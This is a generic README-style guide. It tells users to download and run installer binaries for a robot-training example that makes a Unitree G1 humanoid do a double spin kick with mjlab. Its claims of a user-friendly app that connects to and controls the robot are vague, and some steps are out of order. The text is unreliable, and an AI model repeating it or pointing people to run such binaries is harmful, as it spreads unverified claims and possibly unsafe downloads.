Welcome to the g1_spinkick_example project! This guide will help you easily download and run the application that trains a Unitree G1 humanoid robot to perform an impressive double spin kick using mjlab.
To run the g1_spinkick_example application, ensure your system meets the following requirements:
- Operating System: Windows 10 or later, macOS Mojave or later, or a recent Linux distribution.
- Processor: 64-bit processor.
- RAM: At least 8 GB of RAM.
- Graphics Card: A GPU compatible with OpenGL 3.3 or higher.
- Software Dependencies:
- mjlab (available at mjlab website)
- MuJoCo (the physics engine for robotics; you can find it at MuJoCo homepage)
You can download the g1_spinkick_example application by visiting the Releases page.
- Click on the link above to open the Releases page.
- Find the most recent version of the application.
- Download the installation file that corresponds to your operating system.
Once you have downloaded the application, follow these steps to run it:
-
Locate the Downloaded File:
- Go to your downloads folder or the location where you saved the file.
-
Install the Application:
- For Windows:
- Double-click the downloaded
.exefile. - Follow the installation prompts.
- Double-click the downloaded
- For macOS:
- Open the downloaded
.dmgfile. - Drag the application to your Applications folder.
- Open the downloaded
- For Linux:
- Open your terminal.
- Navigate to the download directory and run
chmod +x g1_spinkick_exampleand then./g1_spinkick_example.
- For Windows:
-
Launch the Application:
- Find the application in your programs or applications list.
- Click on it to start.
After launching the application, you will see the main interface. Here's how to get started with training your robot:
-
Connect Your Robot:
- Ensure that the Unitree G1 is powered on and connected to your computer via USB or Wi-Fi.
- Follow the on-screen instructions to connect the robot.
-
Select Training Mode:
- Choose the “Double Spin Kick” mode from the menu.
- This mode is designed specifically to train your robot for the spin kick.
-
Monitor Training Progress:
- As the training progresses, you can view various metrics like speed, accuracy, and performance graphs.
-
Start Training:
- Click on the "Start Training" button.
- The application will control the robot and guide it through the training process.
-
Review Training Results:
- Once the training session is complete, review the results.
- Adjust the parameters if necessary for better performance.
The g1_spinkick_example application provides several features to enhance your training experience:
- Real-Time Monitoring: Keep track of your robot's progress during training.
- Customizable Settings: Adjust training parameters to suit your goals.
- User-Friendly Interface: Designed for ease of use, even for those without technical expertise.
If you encounter any issues while using the application, consider the following steps:
- Connection Issues: Make sure the Unitree G1 is properly connected and powered on.
- Performance Problems: Check your system requirements to ensure compatibility.
- Application Crashes: Ensure you have the latest version of mjlab and MuJoCo installed.
For additional help, you can reach out to the community in the Issues section of this repository.
Q: Can I use other robots with this application?
A: The g1_spinkick_example is tailored for the Unitree G1 humanoid robot. Other models may not work correctly.
Q: Will I need to install any additional software?
A: Yes, ensure you have mjlab and MuJoCo installed as per the requirements section.
Q: How can I contribute to this project?
A: We welcome contributions! If you have suggestions or improvements, please create a pull request or open an issue.
If you have questions or need further assistance, please check the Issues page or contact the project maintainer.
Remember, you can always go back to the Download g1_spinkick_example page to get the latest updates!